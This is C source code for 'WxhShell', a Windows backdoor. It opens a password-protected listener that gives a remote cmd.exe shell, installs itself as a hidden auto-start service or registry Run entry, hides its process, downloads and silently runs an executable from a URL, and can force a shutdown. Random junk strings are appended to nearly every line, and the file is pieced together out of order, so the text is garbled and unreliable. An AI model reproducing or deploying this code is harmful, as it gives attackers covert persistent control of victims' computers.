    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sxJKu  
    if(Boot(SHUTDOWN)) w(n&(5FzB<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y.5mYQA4=[  
    else { CF>k_\/Bj  
    closesocket(wsh); S(mJ;C  
    ExitThread(0); Ta?#o  
    } 5+:b #B  
    break; wlBdA  
    } ULMG"."IH  
  // 获取shell Sj(uc#  
  case 's': { sIdo(`8$  
    CmdShell(wsh); ]oP2T:A  
    closesocket(wsh); [ivz/r(Rj  
    ExitThread(0); @^} % o-:  
    break; n@{fqj  
  } T^S|u8f  
  // 退出 _WtX8  
  case 'x': { R+8+L|\wHv  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8dq{.B?  
    CloseIt(wsh); 01 6l$K4  
    break; o+`W  
    } bP&o] ?dN  
  // 离开 %l[Cm4  
  case 'q': { 1K^blOLXe  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A,e/y  
    closesocket(wsh); DSYtj} >  
    WSACleanup(); 1F-o3\  
    exit(1); k=H{gt  
    break; |~hSK  
        } *RUB`tEL  
  } ?2OT:/I,  
  } ##BMh!  
1gts=g.  
  // 提示信息 qqQnL[`)C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FyJI@PZdI-  
} M kko1T=6  
  } !(F+~,  
ww nc  
  return; W"AWhi{h  
} 2:MB u5**  
3X*;.'#Z  
// shell模块句柄 f( hK>H  
int CmdShell(SOCKET sock) fo&q/;l\  
{ !0c7nzjm  
STARTUPINFO si; >BMJA:j  
ZeroMemory(&si,sizeof(si)); ~ygiKsD6b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9c9-1iS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vLD Ma>  
PROCESS_INFORMATION ProcessInfo; 2V/ A%  
char cmdline[]="cmd"; ;gy_Qf2U  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .}kUD]pW  
  return 0; +`u]LOAyP=  
} r-'\<d(J$  
yfiRMN"2  
// 自身启动模式 NS-u,5Jt  
int StartFromService(void) Ud^+a H  
{ WW0N"m'  
typedef struct 71 hv~Nk/x  
{ $@Zb]gavt?  
  DWORD ExitStatus; s2_j@k?%  
  DWORD PebBaseAddress; /#20`;~F)  
  DWORD AffinityMask; 5|NM]8^^0[  
  DWORD BasePriority; l Vo](#W  
  ULONG UniqueProcessId; ]o$Kh$~5  
  ULONG InheritedFromUniqueProcessId; 5dT-{c%w4  
}   PROCESS_BASIC_INFORMATION; Dd<gYPC  
idvEE6I@  
PROCNTQSIP NtQueryInformationProcess;  UB&ofO  
b.47KJzt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y&t&'l/m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x`{ni6}  
[ hm/B`t*e  
  HANDLE             hProcess; `(H]aTLt ,  
  PROCESS_BASIC_INFORMATION pbi; VaJX,Q  
s) u{A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k<ku5U1|  
  if(NULL == hInst ) return 0; s!nFc{  
T5B~CC'6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I|m fr{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %<O'\&!,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  7.CzS  
 {3yzC  
  if (!NtQueryInformationProcess) return 0; pwT|T;j*  
>wej1#\3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kGc;j8>."  
  if(!hProcess) return 0; K_Y0;!W  
H&[CSc  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A;1<P5lo  
gEIjG  
  CloseHandle(hProcess); Cq !VMl>hP  
8II-'%S6q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =+T{!+|6P  
if(hProcess==NULL) return 0; -9}]J\  
~ bL(mq  
HMODULE hMod; 8?W\kf$  
char procName[255]; !9356) cV  
unsigned long cbNeeded; 6aK'%K  
}EE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }di)4=U9  
r&A#h;EQX2  
  CloseHandle(hProcess); %((F} 9_6  
ppR~e*rv-  
if(strstr(procName,"services")) return 1; // 以服务启动 =\J^_g4-l  
=:P9 $  
  return 0; // 注册表启动 @Rig@  
} 93kSBF#  
 h#^IT  
// 主模块 @NlnZfMu  
int StartWxhshell(LPSTR lpCmdLine) @bmu4!"d  
{ {[hV ['Awv  
  SOCKET wsl; !vr">@}K  
BOOL val=TRUE; /(BQzCP9O;  
  int port=0; V7N8m<Tf  
  struct sockaddr_in door; %&c[g O!Za  
*oY59Yf  
  if(wscfg.ws_autoins) Install(); QJTGeJ Y  
NAZxM9  
port=atoi(lpCmdLine); ~/! Zh  
wHWd~K_q  
if(port<=0) port=wscfg.ws_port; L,[0*h  
p W:[Q\rSj  
  WSADATA data; RxAWX?9Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^.mQ~F  
<6mXlK3N0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    %3KWc-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1'"o; a]k/  
  door.sin_family = AF_INET;  L/%3_,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2etcSU(y>  
  door.sin_port = htons(port); &1F)/$,v  
_{_LTy%[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ul(1)q^  
closesocket(wsl); OC#oJwC  
return 1; 58mzh82+  
} KG'4;Z5J  
\x(J v Dt  
  if(listen(wsl,2) == INVALID_SOCKET) { d5T0#ue/e  
closesocket(wsl); )U>q><  
return 1; +VdYT6{p  
} )Y\},O  
  Wxhshell(wsl); NlU:e}zGR  
  WSACleanup(); 16keCG\  
q_g'4VZv  
return 0; $T^O38$  
qe"5&cc1  
} _Jj|g9b  
+&O[}%W  
// 以NT服务方式启动 5G_*T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?%JH4I2  
{ qK:.j  
DWORD   status = 0; Um9!<G=;  
  DWORD   specificError = 0xfffffff; 4_&$isq  
#`:60#l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \'GX^0yK  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yT-m9$^v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r@e_cD] M  
  serviceStatus.dwWin32ExitCode     = 0; %HL@O]ftS  
  serviceStatus.dwServiceSpecificExitCode = 0; ?T$i  
  serviceStatus.dwCheckPoint       = 0; _q)`Y:2  
  serviceStatus.dwWaitHint       = 0; g/lv>*+gS  
~fAdOh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lc>nU hj.  
  if (hServiceStatusHandle==0) return; 67}y/C]<  
7eQ7\,^H  
status = GetLastError(); [ \V]tpl!  
  if (status!=NO_ERROR) .J%}ROm  
{ b&*^\hY9b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; NqkRR$O  
    serviceStatus.dwCheckPoint       = 0; Q6MDhv,  
    serviceStatus.dwWaitHint       = 0; _R8)%<E  
    serviceStatus.dwWin32ExitCode     = status; :&2RV_$>=  
    serviceStatus.dwServiceSpecificExitCode = specificError; |42E'zH&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u&STGc[  
    return; ~Msee+ZZ :  
  } 6@wnF>'/\  
*.Y! ZaK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |B)e! #  
  serviceStatus.dwCheckPoint       = 0; nDiD7:e7=  
  serviceStatus.dwWaitHint       = 0; =Q.2:*d.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gEO#-tMjOQ  
} VMad ]bEf  
{u9(qd;;  
// 处理NT服务事件,比如:启动、停止 fF_1ZKx+#!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )}~k7bb}Y  
{ NX@TWBn%  
switch(fdwControl) vo!:uvy;2  
{ dB<BEe\$g.  
case SERVICE_CONTROL_STOP: ZA1?'  
  serviceStatus.dwWin32ExitCode = 0; qO Zc}J0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5|r3i \  
  serviceStatus.dwCheckPoint   = 0; }}cVPB7   
  serviceStatus.dwWaitHint     = 0; ^^jF*)DT@  
  { @2CYv>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G/Kz_Y,  
  } | (v/>t  
  return; MZn7gT0  
case SERVICE_CONTROL_PAUSE: ?lR)Hi  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %ghQ#dZ]&  
  break; ^5 F-7R8Q  
case SERVICE_CONTROL_CONTINUE: <H}"xp)j0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; nl*{@R.q @  
  break; _UjAct]6  
case SERVICE_CONTROL_INTERROGATE: u<!!%C~+=  
  break; -*e$>w[.N  
}; &^63*x;hE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V/"0'H\"1  
} 6xk"bIp  
#c+N}eX{  
// 标准应用程序主函数 QMy;?,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) WYRTt2(+%  
{ v^[tK2&v  
.{5)$w>  
// 获取操作系统版本 wCMsaW  
OsIsNt=GetOsVer(); Z)P x6\?+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L(`^T`  
Yah3I@xGy  
  // 从命令行安装 @o9EX }  
  if(strpbrk(lpCmdLine,"iI")) Install(); [ ]3xb`<&  
#mk#&i3"k  
  // 下载执行文件 hB P]^~(  
if(wscfg.ws_downexe) { ?F AsV&y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qAR~js`5  
  WinExec(wscfg.ws_filenam,SW_HIDE); eU@yw1N  
} U6jlv3  
-CtA\< 7I  
if(!OsIsNt) { BB--UM{7  
// 如果时win9x,隐藏进程并且设置为注册表启动 wE%v[q[*X  
HideProc(); w]tv<U={  
StartWxhshell(lpCmdLine); Eqp?cKrji  
} Mr2dhSQ !  
else Fdm7k){A  
  if(StartFromService()) BxG0vJN|  
  // 以服务方式启动 cX7xG U  
  StartServiceCtrlDispatcher(DispatchTable); L.U [eH  
else gWy 2$)  
  // 普通方式启动 87~. |nu  
  StartWxhshell(lpCmdLine); ukS@8/eJ  
Bwb3@vNA  
return 0; %L/Wc,My  
} ppb]RN|)  
wA.YEI|CSj  
S;+bQ.  
*N\U{)b\  
=========================================== zclt2?  
jGR_EE  
wXuHD<<  
TQE3/IL  
\{{B57/Isq  
o6xl,T%  
" E|6X.Ny]   
U lj2 Py}  
#include <stdio.h> i&mu=J[  
#include <string.h> Z=8 25[p  
#include <windows.h> VG2TiR1  
#include <winsock2.h> D?@330'P9C  
#include <winsvc.h> ZS>}NN  
#include <urlmon.h> m[ay  
K`(STvtM  
#pragma comment (lib, "Ws2_32.lib") d!G%n *  
#pragma comment (lib, "urlmon.lib") {n$9o  
eW\7X%I  
#define MAX_USER   100 // 最大客户端连接数 ll[U-v{  
#define BUF_SOCK   200 // sock buffer KDRIy@[e  
#define KEY_BUFF   255 // 输入 buffer VH#]67  
rm2{PV<+d  
#define REBOOT     0   // 重启 OPwp(b  
#define SHUTDOWN   1   // 关机 z}8rD}BH  
G!XizhE  
#define DEF_PORT   5000 // 监听端口 .Ks&r  
\w^U<_zq  
#define REG_LEN     16   // 注册表键长度 qa`bR%eH  
#define SVC_LEN     80   // NT服务名长度 NZ7a^xT_)  
Iimz  
// 从dll定义API f*W<N06EZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l:j9lBS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [ {lF1+];@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {s=QwZdR  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); aina6@S  
)"t=sFxaB  
// wxhshell配置信息 wC@4`h\U  
struct WSCFG { :ozHuHJ#  
  int ws_port;         // 监听端口 D~NH 4B  
  char ws_passstr[REG_LEN]; // 口令 dfc-#I p?  
  int ws_autoins;       // 安装标记, 1=yes 0=no FEU$D\1y  
  char ws_regname[REG_LEN]; // 注册表键名 Lkqu"V  
  char ws_svcname[REG_LEN]; // 服务名 2#T|+mKxZM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r'{pTgm#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kRSu6r9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'PV,c|f>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1ww|km  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]~3wq[O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zHDC8m  
9OF5A<%"u  
}; {YK6IgEsJe  
Z0b1E  
// default Wxhshell configuration 5xTm]  
struct WSCFG wscfg={DEF_PORT, _V-@95fK  
    "xuhuanlingzhe", ;[g v-H  
    1, +Nc|cj  
    "Wxhshell", ?P{C=Td2z  
    "Wxhshell", N5%~~JRO  
            "WxhShell Service", EJdq"6S  
    "Wrsky Windows CmdShell Service", 3"I 1'+  
    "Please Input Your Password: ", Tk.MtIs)V}  
  1, Q}\,7l  
  "http://www.wrsky.com/wxhshell.exe", 7 &GhJ^Ku  
  "Wxhshell.exe" pfZn<n5p  
    }; 6S"bW)O  
=*"Amd,  
// 消息定义模块 uW Q`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wqA5GK>m2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )ckx&e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &[R&@l Y  
char *msg_ws_ext="\n\rExit."; ( 5_oH  
char *msg_ws_end="\n\rQuit."; AWD &K!  
char *msg_ws_boot="\n\rReboot..."; ={={ W  
char *msg_ws_poff="\n\rShutdown..."; vQu) uml  
char *msg_ws_down="\n\rSave to "; ou,W|<%  
nHyWb6  
char *msg_ws_err="\n\rErr!"; G\jr^d\  
char *msg_ws_ok="\n\rOK!"; 5XFhjVmEL  
(Clf]\_II  
char ExeFile[MAX_PATH]; -_>c P  
int nUser = 0; 8ru@ 8|r  
HANDLE handles[MAX_USER]; F3';oyy  
int OsIsNt; rAP+nh ans  
N|1J@"H  
SERVICE_STATUS       serviceStatus;  78qf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; LP=!u~?  
=E4nNL?  
// 函数声明 5jx{O${u  
int Install(void); OK3B6T5w=  
int Uninstall(void); wT*`Od8w  
int DownloadFile(char *sURL, SOCKET wsh); K# _plpr  
int Boot(int flag); C[gSiL  
void HideProc(void); YJ rK oK}  
int GetOsVer(void); 8'`&f &  
int Wxhshell(SOCKET wsl); Vk0O^o  
void TalkWithClient(void *cs); cf0em!  
int CmdShell(SOCKET sock); O!Mm~@MoA  
int StartFromService(void); Oo rH  
int StartWxhshell(LPSTR lpCmdLine); r8^1JJ~\  
7@+0E 2'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E%H,Hk^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g6 7*Bs  
'Nfg%)-N  
// 数据结构和表定义 1D=My1B  
SERVICE_TABLE_ENTRY DispatchTable[] = GbB&kE3KP  
{ 6kIq6rWF9  
{wscfg.ws_svcname, NTServiceMain}, eUF PzioW  
{NULL, NULL} IQ2<Pinv  
}; ELY$ ]^T  
JK,#dA#  
// 自我安装 RR`?o\  
int Install(void) yU .B(|  
{ ~@itZ,d\  
  char svExeFile[MAX_PATH]; {) Y &Vr5  
  HKEY key; tH>%`:  
  strcpy(svExeFile,ExeFile); 1(On.Y=   
~)oC+H@{  
// 如果是win9x系统,修改注册表设为自启动 6JK;]Ah  
if(!OsIsNt) { =YLt?5|e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2eyvY|:Q>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jWP(7}U  
  RegCloseKey(key); G@,qO#5&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Lc<Gn y^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F!zZIaB]  
  RegCloseKey(key); F\,3z7s  
  return 0; Z [68ji]  
    } jUBlIVl]  
  } J )@x:,o  
} ~POe0!}  
else { #H7(dT  
l9P~,Ec4''  
// 如果是NT以上系统,安装为系统服务 ukG1<j7.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1AoBsEnd  
if (schSCManager!=0) dQ;rO$c o  
{ M}38uxP  
  SC_HANDLE schService = CreateService ^@{'! N  
  ( ^0X86  
  schSCManager, ] +Gi~  
  wscfg.ws_svcname, j q1qj9KZ  
  wscfg.ws_svcdisp, K")-P9I6-f  
  SERVICE_ALL_ACCESS, W]6Y buP:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Yng9_w9Y  
  SERVICE_AUTO_START, b3Y9  
  SERVICE_ERROR_NORMAL, z%mM#X  
  svExeFile, xA&G91|s  
  NULL, :hxfd b-  
  NULL, f$(w>B7..  
  NULL, C_'Ug  
  NULL, {&K#~[)  
  NULL [Hn+r &  
  ); (CuaBHR  
  if (schService!=0) ^IQC:2 1  
  { -qx Z3   
  CloseServiceHandle(schService); E37`g}ZS  
  CloseServiceHandle(schSCManager); D5AKOM!`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nSd?P'PFg  
  strcat(svExeFile,wscfg.ws_svcname); X)~JX}-L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I:mJWe  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]IyC  
  RegCloseKey(key); !t;$n!7<  
  return 0; QM;L>e-ZY  
    } yVh]hL#4+w  
  } 173/A=]  
  CloseServiceHandle(schSCManager); m[Zz(tL  
} +yCIA\i#t6  
} M=0I 3o}J  
TioI$?l>W(  
return 1; N'2u`br4KP  
} =>S5}6  
+T UtVG  
// 自我卸载 !^`ZHJ-3>;  
int Uninstall(void) /*D]4AK  
{ 2psI\7UjA]  
  HKEY key; m$[ \(Z(/  
ih1SN,/  
if(!OsIsNt) { =;@5Ue J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y\9uR!0  
  RegDeleteValue(key,wscfg.ws_regname); TS=p8@w}  
  RegCloseKey(key); 6Y}#vZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2psLX  
  RegDeleteValue(key,wscfg.ws_regname); ,F:l?dfB\I  
  RegCloseKey(key); qx`*]lX  
  return 0; ,Sz*]X  
  }  /H!I90  
} M-|4cd]6  
} oSy[/Y44a  
else { 9^Wj<  
5F <zW-;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;t*45  
if (schSCManager!=0) xj%h-@o6  
{ b.ow0WYe  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,)oUdwR k  
  if (schService!=0)  D&N5)  
  { t3U*rr|A  
  if(DeleteService(schService)!=0) { nC[L"%E|se  
  CloseServiceHandle(schService); zL)m!:_  
  CloseServiceHandle(schSCManager); w_\niqm<y  
  return 0; Z8nNZ<k  
  } K*CO%:,-  
  CloseServiceHandle(schService); jQsucs5$h  
  } 4y)"IOd#|  
  CloseServiceHandle(schSCManager); oD!72W_:  
} N,Y<mX  
} p^~lQ8t  
WERK JA  
return 1; X}Fc0Oo  
} tlvLbP*r  
+s_@964  
// 从指定url下载文件 r 97 VX>  
int DownloadFile(char *sURL, SOCKET wsh) O]lWaiR`  
{ ~}wPiu,  
  HRESULT hr; &t%ICz&3  
char seps[]= "/"; Ld+}T"Z&M>  
char *token; 6,s@>8n  
char *file; G%rK{h  
char myURL[MAX_PATH]; =%$ _)=}J  
char myFILE[MAX_PATH]; 52-^HV  
W%~ S~wx  
strcpy(myURL,sURL); VA2%2g2n{  
  token=strtok(myURL,seps); R.> /%o  
  while(token!=NULL) "C}nS=]8m  
  { ::adT=  
    file=token; 2eb :(D7Cq  
  token=strtok(NULL,seps); {kW!|h&'  
  } d!w32Y,.  
#i:p,5~")  
GetCurrentDirectory(MAX_PATH,myFILE); uX`Jc:1q3  
strcat(myFILE, "\\"); Cw Z{&  
strcat(myFILE, file); ;:"~utL7  
  send(wsh,myFILE,strlen(myFILE),0); ,:;nq>;  
send(wsh,"...",3,0); u4+)lvt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c67O/ B(  
  if(hr==S_OK) 1z[WJ}$u  
return 0; =X-$k k  
else 0~n= |3*P  
return 1; CBi V':;  
Ig5J_Z^]b  
} D2?~03c  
f+L )x  
// 系统电源模块 \<;/)!Nmw  
int Boot(int flag) O^sgUT1O  
{ }t"!I\C  
  HANDLE hToken; %{o5 }TqD  
  TOKEN_PRIVILEGES tkp; I uhyBo  
iM}cd$r{  
  if(OsIsNt) { Vs9fAAXS4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y . AN0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zjVb+Z\n  
    tkp.PrivilegeCount = 1; SznNvd <  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^@L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y"2#bq  
if(flag==REBOOT) { $,'r} %  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7xWX:2l*?  
  return 0; #4~Ivj  
} bumS>:  
else { !m]76=@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >I!dJH/gj  
  return 0; a=C?fh  
} uXK$5"  
  } Yxi.A$g  
  else { <0&];5 on  
if(flag==REBOOT) { _K/h/!\n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @R`OAd y  
  return 0; i,b>&V/Y$  
} #(XP=PUj  
else { 3MkF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?i9LqHL  
  return 0; Lqwc:%Y:_  
} g($y4~#  
} N2q'$o  
~-'nEATE  
return 1; aD%")eP%&  
} X0P<ifIv  
Pm" ,7  
// win9x进程隐藏模块 L;grH5K5  
void HideProc(void) Pf(z0o&  
{ 5 _] i==M  
ydoCoD w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u~a<Psp&|  
  if ( hKernel != NULL ) 'nW:2(J  
  { `?`\!uP"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?vM{9!M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Hyc19|  
    FreeLibrary(hKernel); W)j/[  
  } FDpNM\SR1l  
DAc jx:~  
return; qItj`F)d  
} kj+AsQC ,  
umD .  
// 获取操作系统版本 `[Z?&'CRQ  
int GetOsVer(void) M62V NYt  
{ . VWH  
  OSVERSIONINFO winfo; S@T> u,t'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +gK7`:v4O*  
  GetVersionEx(&winfo); dHd{9ftyF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B#sc!eLmU&  
  return 1; qmJFXnf  
  else u3"F7 lJ  
  return 0; X8?|5$Ey  
} 4sROMk=l  
[+ 1([#  
// 客户端句柄模块 )mp0k%  
int Wxhshell(SOCKET wsl) |p3]9H  
{ /I".n]  
  SOCKET wsh; Neey myW  
  struct sockaddr_in client; KHdj#3<AR  
  DWORD myID; K;S&91V)=  
$6ITa}o  
  while(nUser<MAX_USER) KRm4r  
{ >Li ~Og@  
  int nSize=sizeof(client); rZGA9duy  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =cqaA^HQL  
  if(wsh==INVALID_SOCKET) return 1; Mt-y{*6!k  
D:%$a]_f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =d( 6 )  
if(handles[nUser]==0) ")ZHa qEB  
  closesocket(wsh); D~8f6Ko"m  
else ?Tb'J`MO  
  nUser++; eN,m8A`/S  
  } (Tc ~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,>"1'i&@  
scN}eg:5  
  return 0; 7r*>?]y+  
} AF **@iG  
ZtDHN L  
// 关闭 socket aJIj%Y$  
void CloseIt(SOCKET wsh) OJ] {FI  
{ n |.- :Zy  
closesocket(wsh); AE^&hH0^  
nUser--; m,]Tl;f  
ExitThread(0); b%T-nY2  
} kZf7  
?CM,k0  
// 客户端请求句柄 uK): d&]Ux  
void TalkWithClient(void *cs) }1Wo#b+  
{ C, jPr )6)  
R)G'ILneV  
  SOCKET wsh=(SOCKET)cs; 9Q].cDe[  
  char pwd[SVC_LEN]; YQe @C  
  char cmd[KEY_BUFF]; LOe!qt\&  
char chr[1]; 4Mg09  
int i,j; I>G)wRpfR'  
1gH5#_ ?  
  while (nUser < MAX_USER) { [NaU\;w\  
Gf]oRNP,N  
if(wscfg.ws_passstr) { <1_?.gSi  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Fv e,&~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QDxLy aL  
  //ZeroMemory(pwd,KEY_BUFF); dv@6wp:  
      i=0; uCmdNY  
  while(i<SVC_LEN) { 7|65;jm+  
l m-ubzJN  
  // 设置超时 O(WFjmHx  
  fd_set FdRead; r|0C G^:C  
  struct timeval TimeOut; Re,0RM\  
  FD_ZERO(&FdRead); ^!Bpev  
  FD_SET(wsh,&FdRead); ,gD30Pylz  
  TimeOut.tv_sec=8; (}] 74Lc  
  TimeOut.tv_usec=0; "ZT=[&2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v-OGY[|97  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $0cMrf@  
_%<7!|"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b*.)m  
  pwd=chr[0]; #v~zf@<KLB  
  if(chr[0]==0xd || chr[0]==0xa) { |!IJ/ivEgw  
  pwd=0; d5sG t#   
  break; BWw7o{d  
  } |%zhwDQ.  
  i++; lWnV{/q\X  
    } qWQJ>  
xZ4\.K\f]  
  // 如果是非法用户,关闭 socket >+1^XeeS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c WK@O>  
} \U~ggg0h  
RTF{<,E.UX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zA-?x1th&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }qb z&%R  
s?OGB}  
while(1) { F"B!r-J  
?Vt$  
  ZeroMemory(cmd,KEY_BUFF); `b9oH^}n j  
etGquW.  
      // 自动支持客户端 telnet标准   ?V*>4A  
  j=0; MV=.(Zs  
  while(j<KEY_BUFF) { 5dYIL`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); & +%CC  
  cmd[j]=chr[0]; Z<ke!H  
  if(chr[0]==0xa || chr[0]==0xd) { S2j7(T;~YB  
  cmd[j]=0; iAup',AZg  
  break; [iL2c=_  
  } ?9=yo5M}  
  j++; Nnv&~ D>  
    } ( B50~it  
i.K}(bo;b  
  // 下载文件 ]T zN*6o  
  if(strstr(cmd,"http://")) { a$9UUH-|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h3O5DP6~  
  if(DownloadFile(cmd,wsh)) i_gS!1Z2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f_;3|i  
  else %!YsSk,   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  ocL  
  } PB }$.8  
  else { ;5y!,OF6  
5]'iSrp  
    switch(cmd[0]) { *%8,G'"r?  
  EHo"y.ODg  
